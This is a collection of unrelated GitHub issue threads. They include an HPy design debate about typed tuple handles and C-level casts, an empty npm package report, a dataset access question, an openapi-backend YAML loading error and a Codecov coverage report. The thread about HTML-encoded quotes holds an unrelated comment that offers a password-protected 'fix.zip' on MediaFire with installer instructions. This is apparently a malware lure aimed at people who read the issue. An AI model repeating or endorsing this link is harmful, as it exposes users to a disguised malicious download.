#define HPyTuple_CAST(x) ((HPyTuple){x._i})

void print_tuple(HPyContext ctx, HPy obj)
{
    // no typecheck, we assume that the user knows that obj is a tuple
    //HPyTuple t = HPyTuple_CAST(ctx, obj);

    // typecheck. "obj" is automatically closed
    HPyTuple t = HPyTuple_Check(ctx, obj); // or maybe HPyTuple_TryCast?
    if (HPy_IsNull(t))
        return HPy_NULL;

    // the HPyTuple_* functions DO NOT do any form of typechecking
    long n = HPyTuple_Size(ctx, t);
    for (int i=o; i < n; i++) {
        HPy item = HPyTuple_GetItem(ctx, t, i)
        HPy_Print(ctx, item);
        HPy_Close(cts, item);
    }
    HPy_Close(ctx, t);
}

I'm personally not a fan of casting in this manner. The reason is at least in part related to how we execute this on Graal - via the LLVM bitcode. The problem is that the bitcode doesn't keep any information about the cast around. So we just get an "access this handle at offset such and such" and then we have to figure out what they casted that to based on the actual type the we know is behind the handle and the offset. I would definitely be in facour of the HPyTuple_Check function for casting, since that communicates to us what type of handle is expected. It also gives us an opportunity to potentially copy things to native at that point when it makes sense, rather than having to copy more eagerly, because someone might do a C level cast.

That being said, I guess we could allow to implement HPyTuple_CAST via a function call rather than a macro in our API headers, and then we'd get the call. It's still much better for us than a straight C-level typecast. The disadvantage (for us) would be that we'd have to have our own headers for this.

@antocuni Maybe.  For now I'll just point out that "obj" is automatically closed both makes the API more irregular, and is wrong in your example, because a function should not close its arguments.

Also, I think it's similar to what we discussed with custom object protocols.  Here is a version that looks more like https://github.com/pyhandle/hpy/issues/9.  Note that the advantage is that it doesn't need custom functions or macros to access the size and the elements of the tuple.

    void print_tuple(HPyContext ctx, HPy obj)
    {
        // returns a small struct.
        // ``t.items`` is a C array of HPyFields, valid as long as the "obj" handle is
        HPy_Tuple t = HPyTuple_AsTuple(ctx, obj);

        for (int i=o; i < t.size; i++) {
            HPy item = HPy_Load(t.items[i]);
            HPy_Print(ctx, item);
            HPy_Close(item);
        }
    }

@timfel

The problem is that the bitcode doesn't keep any information about the cast around. So we just get an "access this handle at offset such and such"

Note that in the current situation, what you get are calls like HPyTuple_GET_SIZE(HPyContext ctx, HPy o): so, you don't have any type information anyway. Basically, with this proposal you would get the same bitcode as now, the only difference is that the C compiler does some more typechecking.

The disadvantage (for us) would be that we'd have to have our own headers for this.

A note on the direction where HPy is going right now: at the moment we have two sets of headers: one which is specific to CPython and one which is "universal": the idea is that a module compiled with the universal headers can be imported by any python implementation (including CPython -- but this will be slower: the implementation if cpython-universal).
Nothing prevents python implementation to provide their own specific headers, of course and/or to decide that it will NOT support universal modules.

Nothing prevents python implementation to provide their own specific headers, of course and/or to decide that it will NOT support universal modules.

I think you mean "decide that it will ONLY support universal modules".

@arigo

For now I'll just point out that "obj" is automatically closed both makes the API more irregular, and is wrong in your example, because a function should not close its arguments.

True :(. My intent was to make more similar the two cases in which you use HPyTuple_CAST or HPyTuple_Check. I suppose we could could return a new handle even from HPyTuple_CAST, albeit this will cause a small performance hit on CPython compared to what you have now.

Also, I think it's similar to what we discussed with custom object protocols.

yes, it's also similar to what is written here:
https://github.com/pyhandle/hpy/blob/master/docs/api.md#specialized-protocols
Here is a version that looks more like #9. Note that the advantage is that it doesn't need custom functions or macros to access the size and the elements of the tuple.

    void print_tuple(HPyContext ctx, HPy obj)
    {
        // returns a small struct.
        // ``t.items`` is a C array of HPyFields, valid as long as the "obj" handle is
        HPy_Tuple t = HPyTuple_AsTuple(ctx, obj);

        for (int i=o; i < t.size; i++) {
            HPy item = HPy_Load(t.items[i]);
            HPy_Print(ctx, item);
            HPy_Close(item);
        }
    }

maybe, but this is hard/slowish to implement on PyPy: you would need to allocate a non-movable array and fill it with handles. Or maybe pinning the exising W_TupleObject.wrappeditems, but then how would you implement it for things like W_SpecialisedTupleObject?

Nothing prevents python implementation to provide their own specific headers, of course and/or to decide that it will NOT support universal modules.

I think you mean "decide that it will ONLY support universal modules".

No, I meant that if for some reason graalpython can't load universal modules (e.g. because it can't follow the cast, as @timfel said), it could conceivably decide to drop support for universal and implement only graalpython-specific headers.
Although it is much better to try to design the API so that universal modules are truly universal, of course :)

@antocuni

Note that in the current situation, what you get are calls like HPyTuple_GET_SIZE(HPyContext ctx, HPy o): so, you don't have any type information anyway. Basically, with this proposal you would get the same bitcode as now, the only difference is that the C compiler does some more typechecking.

My point was more that with HPyTuple_Check, we have a place where the implementation can attach that type information to the object behind the handle. With a C-level cast, we do not. So such a call is just better for us.

I am definitely for having the API enforce type safety via a cast, I would just like that cast to be inside an API function call (so an extern function in the "universal" header), and only maybe for the CPython headers use a #define that uses a C-level cast

My point was more that with HPyTuple_Check, we have a place (a proper API call) where the implementation can attach that type information to the object behind the returned handle. With a C-level cast, we do not. So such a call is just better for us.

I think I am missing a point here. The tuple object will be constructed by either calling HPyTuple_New or by creating the tuple inside python code: so these are the obvious places where to attach information to the object.
Unless you are talking about attaching information to the handle itself: I can't see a reason to do that, but maybe you have a good use case for it that I can't think of.

I am definitely for having the API enforce type safety via a cast, I would just like that cast to be inside an API function call (so an extern function in the "universal" header), and only maybe for the CPython headers use a #define that uses a C-level cast

I see your point. I think this is a design goal that we should try to clarify soon: do we want the universal API to be completely opaque, or are we fine doing some work directly in the header with macros or inline functions?
I see pros&cons for both. The biggest con is efficiency of course: e.g. currently HPy_IsNull() is implemented as a macro, and it's the preferred way to check whether an API call has returned an error; having to call a function for it sounds excessively expensive (although I am ready to be proved wrong by benchmarks :))

The tuple object will be constructed by either calling HPyTuple_New or by creating the tuple inside python code: so these are the obvious places where to attach information to the object.

What if someone creates a native subclass of tuple? These will have to be allocated using malloc, so that's just some native allocation. Will we force them to do an upcall where we can attach the type information?

What if someone creates a native subclass of tuple? These will have to be allocated using malloc, so that's just some native allocation. Will we force them to do an upcall where we can attach the type information?

To instantiate an object given a type, you'll have to call an HPy_New or something like that: of course you will be able to use a custom allocator if you want, but the allocator will be called by the HPy runtime. You can't just malloc a piece of memory and call it an HPy object, because the underlying memory layout if completely opaque so you will have no idea where to store e.g. the equivalent of ob_type

@antocuni alright, you convinced me :-) I am mostly concerned with macros that access struct members, which I would like to avoid, because in our case that often means a wrapper or exposing that member on the Python object.

I am mostly concerned with macros that access struct members, which I would like to avoid, because in our case that often means a wrapper or exposing that member on the Python object.

Yes sure, I completely agree. The idea of hpy is that all the runtime data structures will be opaque, so no macros and no direct access to fields. Even the HPy type is opaque: it is big enough to container either a pointer or an index into an array, but it's up to the implementation to decide what to use.


npm install doesn't work

npm install turbodom yields a folder node_modules/turbodom containing nothing but a package.json file.
Installing through: npm install turbodom/turbodom (from github repo), creates the node_modules/turbodom folder containing only: package.json, LICENSE.md and README.md
In either case require('turbodom') can't work

Published as 0.0.1.


issue about data

The link you provided https://zmiclab.github.io/projects/mscmrseg19/ was 404, file not found.
Can you provide the available version. Any help will be highly appreciated.

Hi, the data can be found in this link.

You need to sign the data registration form and send it to<EMAIL_ADDRESS>The organizers will send back the correct data link.

Well, thank you.


HTML encoded quotes are displayed in the error text when Config file is invalid

When creating an invalid config, the quotes are displaying as HTML encoded in the error messages:

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

This looks like fallout from #2152.


Cannot open YAML file

I m trying to combine MSW and openapi-backend but it seem that when i try to read a yaml file it doesn't work.
error
console.warn
   {
     stack: 'ResolverError: Error opening file "/Users/suzukitamon/Documents/miraiz/api/specification.yaml"\n' +
       '    at ReadFileContext.callback (/Users/suzukitamon/Documents/miraiz/miraiz-sheet-frontend/node_modules/@apidevtools/json-schema-ref-parser/lib/resolvers/file.js:52:20)\n' +
       '    at FSReqCallback.readFileAfterOpen [as oncomplete] (node:fs:314:13)',
     code: 'ERESOLVER',
     message: 'Error opening file "/Users/suzukitamon/Documents/miraiz/api/specification.yaml"',
     source: '/Users/suzukitamon/Documents/miraiz/api/specification.yaml',
     path: null,
     toJSON: [Function: toJSON],
     ioErrorCode: 'ENOENT',
     name: 'ResolverError',
     footprint: 'null+/Users/suzukitamon/Documents/miraiz/api/specification.yaml+ERESOLVER+Error opening file "/Users/suzukitamon/Documents/miraiz/api/specification.yaml"',
     toString: [Function: toString]
   }

     at OpenAPIBackend.init (node_modules/openapi-backend/src/backend.ts:203:17)
     at OpenAPIBackend.handleRequest (node_modules/openapi-backend/src/backend.ts:268:7)
     at node_modules/msw/src/handlers/RequestHandler.ts:232:49
     at RestHandler.run (node_modules/msw/src/handlers/RequestHandler.ts:215:28)
     at node_modules/msw/src/utils/getResponse.ts:50:20
     at getResponse (node_modules/msw/src/utils/getResponse.ts:41:18)
     at Object.<anonymous>.exports.until (node_modules/@open-draft/until/lib/until.js:10:22)

code
import { rest } from 'msw';
import { OpenAPIBackend, ParsedRequest } from 'openapi-backend';

const api = new OpenAPIBackend({
  definition: '../api/specification.yaml'
});

export const handlers = [
  rest.get(`/*`, (req, res, ctx) => {
    const requestParser = {
      ...req,
      path: req.url.pathname,
      headers: req.headers.all(),
      method: req.method
    };
    return api.handleRequest(requestParser, res, ctx);
  })
];

What was the fix?

What was the fix?

Lol started a new project and I'm back again


Improve rendering on both Firefox and Chrome (fix #1)

On Firefox, renders words as <text> elements and does not group them  into lines
Lowers the font size for the rendered text by 25% to get closer match  with majority of texts
Removes stray ) that was left in accidentally after the last change

Visual Comparison:
Firefox, before and after:

Chrome, before and after:

Codecov Report

Merging #22 into master will increase coverage by 4.67%.
The diff coverage is 93.75%.

@@            Coverage Diff             @@
##           master      #22      +/-   ##
==========================================
+ Coverage   72.16%   76.83%   +4.67%
==========================================
  Files          10       10
  Lines         449      462      +13
  Branches      138      141       +3
==========================================
+ Hits          324      355      +31
+ Misses        102       88      -14
+ Partials       23       19       -4

Impacted Files
Coverage Δ

src/lib/ocrFormats.js
92.40% <85.71%> (-0.36%)
:arrow_down:

src/components/PageTextDisplay.js
94.64% <100.00%> (-1.28%)
:arrow_down:

src/components/MiradorTextOverlay.js
35.71% <0.00%> (+35.71%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 533d373...63c9b66. Read the comment docs.